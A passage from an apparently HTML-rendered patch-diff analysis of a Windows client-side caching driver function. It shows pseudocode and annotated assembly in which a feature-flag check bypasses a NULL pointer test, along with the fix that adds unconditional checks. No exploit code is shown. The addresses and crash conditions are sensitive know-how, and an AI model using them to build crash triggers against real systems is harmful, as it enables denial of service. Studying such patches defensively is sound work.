&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LVIEW&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// mov rdi, [rax+0x70]   &amp;lt;-- CAN BE NULL&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;// op in {1,2,3}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// In asm: call feature; test eax,eax; jz block  --&amp;gt; when the feature&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// check returns 0 (disabled), the branch jumps PAST the `test rdi, rdi` NULL check.&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_4082332987__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;CscAcquireLViewLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// deref (0x1C005FFF3), NULL not checked on feature-disabled path&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;CscLViewIsRootGhosted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// deref (0x1C005FFFB)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;CscReleaseLViewLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Exit path — same feature-gated pattern:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_4082332987__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CscFlushLViewWasPreviouslyOffline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// CRASH if rdi==NULL  (0x1C0060549)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED CscDclMRxTransition (sub_1c005ddcc) ===&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CscDclMRxTransition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RX_CONTEXT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;field_0x38&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LVIEW&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// still possibly NULL&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// FIX: unconditional NULL check, feature call removed&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CscAcquireLViewLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// safe&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// FIX: unconditional NULL check at exit&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CscFlushLViewWasPreviouslyOffline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// safe&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Key changes:
- Removed: two &lt;code&gt;call Feature_4082332987__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1c0007a70&lt;/code&gt;) invocations.
- Added: &lt;code&gt;test rdi, rdi&lt;/code&gt; / &lt;code&gt;jz&lt;/code&gt; at both guard points (&lt;code&gt;0x1C005DE52&lt;/code&gt; entry, &lt;code&gt;0x1C005E39F&lt;/code&gt; exit in the patched binary).
- All other deltas are module-base relocation (patched function moves from &lt;code&gt;0x1C005FF5C&lt;/code&gt; to &lt;code&gt;0x1C005DDCC&lt;/code&gt;) and the resulting call-target address shifts.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;4.1 Vulnerable function — unpatched &lt;code&gt;CscDclMRxTransition&lt;/code&gt; (&lt;code&gt;sub_1c005ff5c&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ====== Entry block ======&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FF5C:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FF67:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; arg2 (operation code)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FF6B:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; arg1 (RX_CONTEXT)&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="c1"&gt;; rdi = LVIEW pointer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FF85:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; rax = *(arg1+0x38)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FFA1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; rdi = LVIEW pointer   &amp;lt;-- NULL possible&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="c1"&gt;; ====== Vulnerable entry gate @ 0x1C005FFE2 ======&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FFD3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x2&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; (arg2-1) &amp;lt;= 2  (op in {1,2,3})&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FFD6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1C005FFE2&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FFE2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_4082332987__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FFE7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FFE9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C005FFF0&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; feature==0 -&amp;gt; ENTER BLOCK, skipping NULL check&lt;/span&gt;
&lt;span class="w"&gt;                                                &lt;/span&gt;&lt;span class="c1"&gt;;   ^^^^ THIS IS THE BUG&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FFEB:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; only reached when feature!=0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FFEE:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C005FFD8&lt;/span&gt;
&lt;span class="c1"&gt;; ----- Block 0x1C005FFF0: first dereference of possibly-NULL rdi -----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FFF0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; rcx = rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FFF3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;CscAcquireLViewLock&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; deref rdi -&amp;gt; CRASH if NULL&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FFF8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005FFFB:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;CscLViewIsRootGhosted&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; another deref of rdi&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="c1"&gt;; ====== Vulnerable exit gate @ 0x1C0060538 ======&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0060538:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_4082332987__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C006053D:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C006053F:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C0060546&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; feature==0 -&amp;gt; skip NULL check, proceed to deref&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0060541:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0060544:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C006054E&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0060546:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; rcx = rdi (possibly NULL)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0060549:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;CscFlushLViewWasPreviouslyOffline&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; dereferences rdi -&amp;gt; CRASH if NULL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;4.2 Helper — &lt;code&gt;Feature_4082332987__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1c0007a70&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A70:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A74:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;..&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A7A:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;Feature_4082332987__private_featureState&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; WIL feature state&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A84:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; bit 0x10&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A86:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007A8D&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; if clear -&amp;gt; fallback path&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A88:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; if set, return bit 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A8B:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1C0007A9C&lt;/span&gt;
